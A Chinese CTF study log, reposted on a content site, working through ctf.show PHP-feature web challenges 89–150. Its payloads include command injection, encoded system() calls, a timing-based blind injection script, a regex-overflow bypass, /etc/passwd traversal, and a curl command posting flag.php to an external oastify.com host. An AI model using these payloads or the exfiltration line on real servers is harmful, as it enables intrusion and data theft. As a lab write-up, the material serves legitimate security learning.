ctf_show筆記篇(web入門---php特性)

目錄

?php特性

89:直接數組繞過preg_match當遇到數組時會直接報錯輸出0

90:這里利用了intval的特性

91:這里需要細節一點

92-93:這兩題的方法很多可以發散思維

94:還是利用小數繞過例如4476.0

95:這里在最前面使用%0a或者隨便一個其他的添加一個字節隔離開在使用八進制就可以繞過

96:可用php偽協議或者./flag.php繞過

97:簡單的數組繞過

98:php三元運算符

99:in_array函數漏洞

100:沒有設置什么過濾直接命令執行就好###101題的弱化版

101:ReflectionClass 建立反射類

102:還是寫一句話木馬進服務器

113:和102同理只是把php改為

114:隨便上傳兩個相同的字符

105:考察變量覆蓋

106:這里直接可以用數組繞過,和繞過MD5一樣,都是sha加密

107:parse_str函數

?編輯

108:簡單繞過

109:這里學到了利用反序列化的__construct魔法函數來利用

110:php的內置函數FilesystemIterator的利用

111:直接利用php的全局變量

112和114:直接利用php偽協議讀取

113:is_file函數能處理的長度有限制

115:

123:在php中參數加'.'會被替換掉,除非參數中含有'+'或者'空格'或者'[ ]'這些,這些會被替換為'_',并且保留'.'這一類會被替換掉的符號

125:和123差不多,但是過濾更干凈了,利用函數嵌套

126:這里利用到了$a=$_SERVER['argv'];

127:利用php的特性繞過

128:新知識點

129:stripos(1,2)查找2在1中第一次出現的位置

130:直接繞過,0相當于FALLS

131:關于PHP正則的溢出

132:關于php的邏輯運算符

133:利用變量覆蓋再利用curl可以傳輸文件信息

134:$_POST是個幌子

135:這里同樣可以用curl來解,利用反斜杠繞過就可以,前提是他沒有禁用反斜杠

136:tee命令,可以實現輸出又能輸入到文件

137:call_user_func()函數調用方法

138:相當于禁用了::

139:命令盲注###這里有個問題,{}這個括號可能跑不出來要自己加

140:讓傳入的兩個函數運行后是0或者false或空

141:利用php計算來繞過return

142:0乘任何數都為0

143:這里和141同理,但是將取反的符號過濾了,所以這里用異或

144:也是同樣的只是稍微繞了一下(使用取反,異或,或,都可以)

145:這里其他都還是和143-144一樣,只是使用php的if函數的變式來繞過

146:'|','^'同樣也可以當作運算符用來繞過return

147:涉及兩個知識點create_function的代碼注入以及php命令空間

148:異或繞過即可或者非預期

149:條件競爭或者直接在index.php中插入木馬

150:這里有多種方法可以解,非預期、日志文件包含、session文件包含、臨時文件上傳###這里演示一種

?150_plus:這一題利用phpinfo來進行條件競爭創建webshell在服務器上


?php特性

89:直接數組繞過preg_match當遇到數組時會直接報錯輸出0

90:這里利用了intval的特性

payload:

num=4476%0a

4476%0a不絕對等于4476應為%0a相當于是空格

但是intval(4476%0a,0)這里intval函數用于獲取變量的整數值,所以會排除掉%0a所以

intval(4476%0a,0)===4476

intval(a,b)

如果b=0那么會自己去判斷a是什么進制,例如a=0x開頭則是18進制,0開頭則是8進制,也可以直接設置b=10進制之類的

91:這里需要細節一點

/m會多行匹配意思就是

a

php

這樣也能匹配到

而這里就只能匹配第一行所以能繞過

92-93:這兩題的方法很多可以發散思維

  1. 利用intval可以計算其他進制來繞過,例如使用八進制? ?payload:010574
  2. 或者利用intval取整的特性4476.1####92題不行
  3. 92題可以使用16進制繞過

94:還是利用小數繞過例如4476.0

這里不知道為什么4476.0可以但是4476.1或者4476.2其他的數字不行

95:這里在最前面使用%0a或者隨便一個其他的添加一個字節隔離開在使用八進制就可以繞過

payload:

%0a010574

96:可用php偽協議或者./flag.php繞過

97:簡單的數組繞過

原理:當md5函數加密數組時會報錯NULL,當兩a和b同時都是數組時,md5(a)===md5(b)等于NULL===NULL

解法2:利用明文不同但是hashi值相同的兩個字符串

98:php三元運算符

三元運算符就是php的if函數的變式:

例如:$a = $b == 3?4:5;? ?等同于if($b == 3){$a = 4}else{$a == 5}

$_GET?$_GET=&$_POST:'flag';

等于if($_GET){$_GET=&$_POST}else{'flag'}

解析:當通過get方式傳入參數時就把get傳入參數改為post傳入參數

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';

因為已經表名了當通get傳參直接變成POST傳參所以這里應該變為

if($_POST['flag']=='flag'){$_POST=&$_COOKIE}else{'flag'}

解析:只要有通過post傳輸參數flag=flag,那么POST傳入參數改為COOKIE傳入參數

$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

還是同理,因為了通過post傳輸參數flag=flag直接變成COOKIE傳參所以這里應該變為

if($_COOKIE['flag']=='flag'){$_COOKIE=&_SERVER}else{'flag'}

解析:只要有通過COOKIE傳輸參數flag=flag,那么COOKIE傳入參數改為SERVER傳入參數

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

最后這里

highlight_file(if($_SERVER['HTTP_FLAG']=='flag'){$flag}else{__FILE__})

所以最后payload:

  1. ?a=1? ? ? ? ? ? ? ?####隨便傳入一個get引用第一個方法將$_GET傳參改為$_POST
  2. post傳參:flag=flag? ? ? ?####將$_POST傳參改為$_COOKIE
  3. Cookie: flag=flag? ? ? ? ?####將$_COOKIE傳參改為$_SERVER
  4. Flag: flag? ? ? ? ? ####獲取到flag

99:in_array函數漏洞

當type參數沒有設置的話他不會檢查數據和數組的類型是否相同

例如:

in_array(1.abc,1),一個是字符串一個是數組,但是沒有設置第三個參數,就可以形成自動轉換,1.abc自動轉換為1

100:沒有設置什么過濾直接命令執行就好###101題的弱化版

payload1:

?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

payload2:

?v1=1&v2=system('ls')/*&v3=*/;

payload3:

?v1=1&v2=cp ctfshow.php 1.txt/*&v3=*/;? ? ####訪問1.txt就可以訪問

101:ReflectionClass 建立反射類

從提示可知少給了一位flag,拿到bp爆破就好

102:還是寫一句話木馬進服務器

substr(a,b)函數是一個截取函數,a是需要被截取的字符串,b是需要從第幾位開始截取###從零開始數

call_user_func函數類似于一種特別的調用函數的方法

file_put_contents函數是一個寫入字符串進文件的函數,也可以通過此函數創建文件并寫入東西

構造payload:

113:和102同理只是把php改為<?=就好,這個等同于<?php echo

114:隨便上傳兩個相同的字符

105:考察變量覆蓋

foreach函數:通過get傳入?a=b那么通過foreach函數使$key=a而$value=b

$$key=$$value,這里的意思就是把原本的值當作變量名用了

這里的就相當于是$$key=$$value? ? <>? ? $a=$b

106:這里直接可以用數組繞過,和繞過MD5一樣,都是sha加密

107:parse_str函數

這里會通過parse_str把$v1的值給$v2有點像賦值

給v1傳入flag=1,賦值以后,$v2=([flag] => 1)

108:簡單繞過

ereg(a,b)類似于搜索,a是條件類似于正則,b使字符串如果b中有a的要求的東西則輸出真

ereg函數存在NULL截斷漏洞,導致了正則過濾被繞過

strrev()是取反函數傳入abc返回cba這種

109:這里學到了利用反序列化的__construct魔法函數來利用

__cddonstruct魔法函數當使用new實例化一個對象的時候就會引用

payload:

v1=

class{

? ? public function __construct(){

? ? ? ? system('ls')

? ? }

}

v2=1

連起來就是echo new (class{public function __construct(){system('ls')}}1())

110:php的內置函數FilesystemIterator的利用

FilesystemIterator()可以讀取指定的目錄文件

fetcwd()可以獲取當前目錄的路徑

111:直接利用php的全局變量

112和114:直接利用php偽協議讀取

113:is_file函數能處理的長度有限制

解答1:

/proc/self/root表示根目錄

利用這個多次添加讓is_file函數認為這不是個文件

解答2:

php中的zip偽協議

官方用法compress.zlib://file.gz? ? ? ? ?compress.zlib://file.bz2

115:

trim()函數用于移除字符串兩側的空格

這里利用%0c繞過相當于是<,并且并不會被trim過濾掉,并且輸入的參數還是int型

123:在php中參數加'.'會被替換掉,除非參數中含有'+'或者'空格'或者'[ ]'這些,這些會被替換為'_',并且保留'.'這一類會被替換掉的符號

125:和123差不多,但是過濾更干凈了,利用函數嵌套

126:這里利用到了$a=$_SERVER['argv'];

$_SERVER['argv']:

傳遞給該腳本的參數的數組。腳本以命令行方式運行時,argv變量傳遞給程序C語言樣式的命令行參數。當通過GET方式調用時,該變量包含query string。

大致來說就是會把接收的數據變成數組,數據用分隔號隔開例如+之類的

payload:

get:$a=a+fl0g=flag_give_me

post=CTF_SHOW=2&CTF[SHOW.COM=1&fun=parse_str($a[1])

這里通過$_SERVER['argv']給$a指定了他的方式

第一個參數$_SERVER['argv'][0]是腳本名,其余的是傳遞給腳本的參數(例如這樣的$a[1])

parse_str函數:

127:利用php的特性繞過

$_SERVER['QUERY_STRING']獲取 URL 數據并使用 PHP 中的 Explode 函數將數據轉換為數組

128:新知識點

_()==gettext() 是gettext()的拓展函數,開啟text擴展。需要php擴展目錄下有php_gettext.dll

get_defined_vars — 返回由所有已定義變量所組成的數組 這樣可以獲得 $flag

129:stripos(1,2)查找2在1中第一次出現的位置

利用目錄穿越例如/ctfshow/../../../etc/passwd

130:直接繞過,0相當于FALLS

131:關于PHP正則的溢出

當存在這樣的情況時可能會出現正則溢出的情況

例如:

原字符:abcd? ? ? ? ? ? ? ? 正則:.*?d

這里的.*?會率先匹配第一個字符a但是他選擇先不匹配,因為是非貪婪模式(在可以匹配和不匹配之間優先選擇不匹配),這里會把選擇權給d,d回去匹配下一個字符b,如果不匹配選擇權又會回到.*?去匹配b,但是還是因為非貪婪模式,不回去直接匹配,又把選擇權給d,直到匹配到最后一個字符d才會停下

import requestsurl = r'http://a3835817-be92-4fb2-ba94-2db402037f5a.challenge.ctf.show/'data = {'f': 'aaaaaaaa'*130000+'36Dctfshow'
}a = requests.post(url=url, data=data)
print(a.text)

132:關于php的邏輯運算符

對于“與”(&&) 運算:?x && y?當xfalse時,直接跳過,不執行y
對于“或”(||) 運算?:???x||y?當xtrue時,直接跳過,不執行y

133:利用變量覆蓋再利用curl可以傳輸文件信息

payload:`$F`;+curl -X POST -F a=flag.php https://lj8u9k8tr39ry1cpwrqhz7ndd4jx7nvc.oastify.com

134:$_POST是個幌子

$_SERVER['QUERY_STRING']:

這里會獲取url里?后面的數據

parse_str():

將這樣的a=1&b=2給附上值,變成$a=1? $b=2

extract():

把數組的鍵值和鍵名當作變量名和變量值,例如a[b]=c那么extract(a[b])? ? <==>? ? b=c

135:這里同樣可以用curl來解,利用反斜杠繞過就可以,前提是他沒有禁用反斜杠

136:tee命令,可以實現輸出又能輸入到文件

例如:cat flag.php|tee 1? ? ? ?看flag.php文件又能輸出到文件1里

137:call_user_func()函數調用方法

調用類里的方法時

array("a","b")? ?<==>? ?a::b

138:相當于禁用了::

但是call_user_func(array("a","b"))使用array創建數組調用類里面的方法

所以傳輸的時候可以使用變式,直接傳數組

例如:a[0]=a? ? ?a[1]=b? ? ? ?這樣和使用array來創建數組是相同的

139:命令盲注###這里有個問題,{}這個括號可能跑不出來要自己加

ls / -1? 自動換行? ? ?awk? "NR==1"? 取第一排? ? ? cut -c 1? 取第一個

if [ a == b ];then echo 123;fi? ? ?if的[]里必須有間隔不然會報錯,如果a等于b執行then echo 123,錯誤則執行fi

import requestsurl = r"http://16c540da-b9a6-4523-bccd-019f974cb794.challenge.ctf.show/?c="
flag1 = "qwertyuiopasdfghjklzxcvbnm_-=+[]{};\':\",./<>?123456789."
flag = ""for i in range(1, 6):for a in range(1, 32):for b in flag1:payload = f"if [ `ls / -1|awk \"NR=={i}\"|cut -c {a}` == \"{b}\" ];then sleep 4;fi"try:requests.get(url=url+payload, timeout=3)except:flag += bprint(flag)break

140:讓傳入的兩個函數運行后是0或者false或空

141:利用php計算來繞過return

?####這里141和143-144可以去看我的這篇博文

無字母數字rce總結(自增、取反、異或、或、臨時文件上傳)-CSDN博客

/^\W+$/?作用是匹配非數字字母下劃線的字符

可使用取反來繞過

<?phpecho urlencode(~'system');
echo '  ';
echo urlencode(~'\'ls\''

1-phpinfo()-1? =? 2? ? ? ?return在輸出計算結果的同時,也會把phpinfo()的結果輸出

payload:v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8)-

142:0乘任何數都為0

143:這里和141同理,但是將取反的符號過濾了,所以這里用異或

?####這里141和143-144可以去看我的這篇博文

無字母數字rce總結(自增、取反、異或、或、臨時文件上傳)-CSDN博客

144:也是同樣的只是稍微繞了一下(使用取反,異或,或,都可以)

只是把v2和v3換了個位置,給v2賦值‘-’

?####這里141和143-144可以去看我的這篇博文

無字母數字rce總結(自增、取反、異或、或、臨時文件上傳)-CSDN博客

145:這里其他都還是和143-144一樣,只是使用php的if函數的變式來繞過

1?a:b

等同于

if 1{

a;

}else{

b;

}

payload:

(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)

system  cat f*

146:'|','^'同樣也可以當作運算符用來繞過return

147:涉及兩個知識點create_function的代碼注入以及php命令空間

create_function的代碼注入###本函數已自 PHP 7.2.0 起被廢棄,并自 PHP 8.0.0 起被移除

此函數在內部執行? eval(),因此具有跟? eval()?相同的安全問題,就是因為他創建匿名函數的同時會內部執行eval,就會直接將里面的參數全部執行了
?
???例如:
create_function(a,b)
等同于
function xxx(a){
b
}
php命令空間
在PHP中普通的調用函數方式相當于是調用的相對路徑,例如調用create_function,其實是調用的\create_function此路徑的函數,在php中可以自定義命名空間,但是最基本的命名空間就是調用\下面的函數

148:異或繞過即可或者預期解

149:條件競爭或者直接在index.php中插入木馬

150:這里有多種方法可以解,非預期、日志文件包含、session文件包含、臨時文件上傳###這里演示一種

日志文件包含:

這里需要vip這個變量等于1? isvip函數才會返回true才能最后利用到這里的include函數

if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
}
而要讓isVIP這個變量賦值為1,需要利用到extract函數####這里134題也講過

extract():

把數組的鍵值和鍵名當作變量名和變量值,例如a[b]=c那么extract(a[b])? ? <==>? ? b=c

?150_plus:這一題利用phpinfo來進行條件競爭創建webshell在服務器上

class_exists檢查類是否被定義

__autoload — 嘗試加載未定義的類會被調用

利用extract(..CTFSHOW..);來覆蓋$__CTFSHOW__

####關于符號? ' . '? 這個在之前做過解釋,在php里,變量如果使用特殊字符如'['和'.'還有空格這一類的,會自動被加載為_

這里似乎被刪減過,只要找到phpinfo就能獲得flag

最后payload:?..CTFSHOW..=phpinfo

但是這里還是要對這個條件競爭做一個筆記

這里是vuhub上做出的解釋

##不理解為什么會出現臨時文件可以去看這篇無字母數字rce總結(自增、取反、異或、或、臨時文件上傳)-CSDN博客

大致來講就是,通過post傳入參數時同時上傳的文件會被服務器存為臨時文件,但在每次執行完命令之后就會立馬刪除,必須要在它沒刪除之前訪問它才能讓他保留,但這種情況幾乎不存在,所以需要卡bug,通過phpinfo頁面來增加他執行完成的時間,上面有原理。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/715699.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/715699.shtml
英文地址,請注明出處:http://en.pswp.cn/news/715699.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

HTML和CSS (前端共三篇)【詳解】

目錄 一、前端開發介紹 二、HTML入門 三、HTML基礎標簽 四、CSS樣式修飾 五、HTML表格標簽 六、HTML表單標簽 一、前端開發介紹 web應用有BS和CS架構兩種&#xff0c;其中我們主要涉及的是BS架構。而BS架構里&#xff0c;B&#xff08;Browser瀏覽器&#xff09;是客戶端的…

藍橋杯(3.1)

92. 遞歸實現指數型枚舉 import java.util.Scanner;public class Main {static int N 16;static int n;static int[] st new int[N]; public static void dfs(int u) {if(u > n) {for(int i1;i<n;i) {if(st[i] 1)System.out.print(i" ");}System.out.print…

798. 差分矩陣

Problem: 798. 差分矩陣 文章目錄 思路解題方法復雜度Code 思路 這是一個差分矩陣的問題。差分矩陣是一種用于處理區間修改問題的數據結構&#xff0c;它可以在O(1)的時間復雜度內完成區間的修改操作&#xff0c;然后在O(n)的時間復雜度內完成所有元素的更新操作。 在這個問題中…

【k8s管理--兩種方式安裝prometheus】

1、k8s的監控方案 1.1 Heapster Heapster是容器集群監控和性能分忻工具&#xff0c;天然的支持Kubernetes和CoreOS。 Kubernetes有個出名的監控agent–cAdvisor。在每個kubernetes Node上都會運行cAdvisor&#xff0c;它會收集本機以及容器的監控數(cpu,memory,filesystem,ne…

conda目錄遷移

conda默認安裝在系統目錄&#xff0c; 但隨著使用&#xff0c; 占用的空間越來越大&#xff0c; 需要遷移到其他目錄。 假設原來conda安裝在/home/leo/anaconda3目錄&#xff0c; 現在要遷移到/data路徑。 方法是&#xff1a; 1 移動文件位置 mv /home/leo/anaconda3 /dat…

python筆記_鍵盤輸入

例&#xff1a;從控制臺接收員工信息 name input("輸入姓名:") age input("輸入年齡:") id input("輸入id:") print("name",name) print("age",age) print("id",id) ——> 輸入姓名: 1&#xff0c;接收到的…

Ubuntu將c++編譯成.so文件并測試

一、準備cpp和h文件 創建test.cpp 在cpp中定義相加的函數funcAdd&#xff0c;給出函數的細節代碼 #include <iostream> using namespace std;int funcAdd(int x, int y) {return xy; }創建test.h 在h中聲明定義的函數&#xff0c;不需要任何細節 #ifndef __TEST__ #…

LeetCode 熱題 HOT 100(P1~P10)

&#x1f525; LeetCode 熱題 HOT 100 這里記錄下刷題過程中的心得&#xff0c;其實算法題基本就是個套路問題&#xff0c;很多時候你不知道套路或者模板&#xff0c;第一次嘗試去做的時候就會非常懵逼、沮喪和無助。而且就算你一時理解并掌握了&#xff0c;過一段時間往往會絕…

蘋果 Vision Pro零售部件成本價格分析

蘋果公司發布的全新頭戴式顯示器 Apple Vision Pro 雖然售價高達3499美元&#xff0c;但其制造成本同樣不菲&#xff0c;根據研究機構 Omdia 的估計&#xff0c;該頭顯僅零部件成本就超過了1500美元。這款頭顯的總零部件成本估計為1542美元&#xff0c;這還并不包括研發、包裝、…

騰訊云服務器CVM_云主機_云計算服務器_彈性云服務器

騰訊云服務器CVM提供安全可靠的彈性計算服務&#xff0c;騰訊云明星級云服務器&#xff0c;彈性計算實時擴展或縮減計算資源&#xff0c;支持包年包月、按量計費和競價實例計費模式&#xff0c;CVM提供多種CPU、內存、硬盤和帶寬可以靈活調整的實例規格&#xff0c;提供9個9的數…

【算法】順時針打印矩陣(圖文詳解,代碼詳細注釋

目錄 題目 代碼如下: 題目 輸入一個矩陣,按照從外向里以順時針的順序依次打印出每一個數字。例如:如果輸入如下矩陣: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 則打印出數字:1 2 3 4 8 12 16 15 14 13 9 5 6 7 11 10 這一道題乍一看,沒有包含任何復雜的數據結構和…

Doris實戰——美聯物業數倉

目錄 一、背景 1.1 企業背景 1.2 面臨的問題 二、早期架構 三、新數倉架構 3.1 技術選型 3.2 運行架構 3.2.1 數據模型 縱向分域 橫向分層 數據同步策略 3.2.2 數據同步策略 增量策略 全量策略 四、應用實踐 4.1 業務模型 4.2 具體應用 五、實踐經驗 5.1 數據…

代碼隨想錄算法訓練營|day45

第九章 動態規劃 322.零錢兌換279.完全平方數代碼隨想錄文章詳解總結 322.零錢兌換 dp[i]表示湊成i所需的最少零錢個數 (1)先遍歷物品&#xff0c;后遍歷背包 func coinChange(coins []int, amount int) int {maxAmount : amount 1dp : make([]int, amount1)for i : 0; i &l…

下載github項目到pycharm

一、下載git 1.下載git鏈接 https://git-scm.com/ 2.一路點擊next&#xff0c;最后finish 二、使用git 1.安裝成功后在開始菜單欄會找到如下內容&#xff0c;其中常用的是Git Bash 2.點擊Git Bash 3.這里就可以克隆github上的代碼了 點擊復制&#xff0c;在命令行輸入…

C#判斷DataTable1 A列的集合是否為DataTable2 B列的集合的子集

DataSet ds2 (DataSet)res2.Anything; // 檢查 集合B是否為集合A的子集 var table1MaterialCodes ds.Tables[2].AsEnumerable().Select(row > row["Code"]).ToList(); //DataSet1 表Code列集合A var table2MaterialCodes ds2.Tables[0].AsEnumerable().Selec…

2024免費mac蘋果電腦的清理和維護軟件CleanMyMac X

對于 Mac 用戶來說&#xff0c;電腦的清理和維護是一件讓人頭疼的事情。但是&#xff0c;有了 CleanMyMac X&#xff0c;這一切都將變得輕松愉快。CleanMyMac X 是一款專為 Mac 設計的電腦清理軟件&#xff0c;它以其強大的功能和簡單的操作&#xff0c;讓無數用戶為之傾倒。 C…

艾爾登法環備份存檔方法

1.PC端使用WinR輸入%AppData%\EldenRing 2.如圖創建文件夾“我這取名叫備份存檔”&#xff0c;將其中的三個文件復制到新建的文件夾中 3.理論上只需要備份替換ER0000.sl2文件即可

【雙指針】合并兩個有序數組O(N)

合并兩個有序數組 鏈接 . - 力扣&#xff08;LeetCode&#xff09;. - 備戰技術面試&#xff1f;力扣提供海量技術面試資源&#xff0c;幫助你高效提升編程技能,輕松拿下世界 IT 名企 Dream Offer。https://leetcode.cn/problems/merge-sorted-array/ 題目 題解 采用雙指針…

青少年CTF擂臺挑戰賽 2024 #Round 1 Web方向題解 WP 全

EasyMD5 題目描述&#xff1a;php沒有難題 考點總結&#xff1a;腦洞題目&#xff0c;不如我出&#xff08;狗頭 只允許兩個都上傳pdf文件。 文件還不能太大了。burp多次發包發現要求兩個pdf內容不一樣 不一樣時候&#xff0c;提示我們MD5碰撞。 科學計數法繞過 PHP的后門 …

把Anaconda添加進環境變量的方法(解決pip識別不到環境的問題)

找到你的Anaconda的安裝根目錄 比如我的是在&#xff1a;C:\ProgramData\Anaconda3 那么只需要將以下目錄添加進環境變量即可&#xff1a; C:\ProgramData\Anaconda3C:\ProgramData\Anaconda3\ScriptsC:\ProgramData\Anaconda3\Library\binC:\ProgramData\Anaconda3\condabin…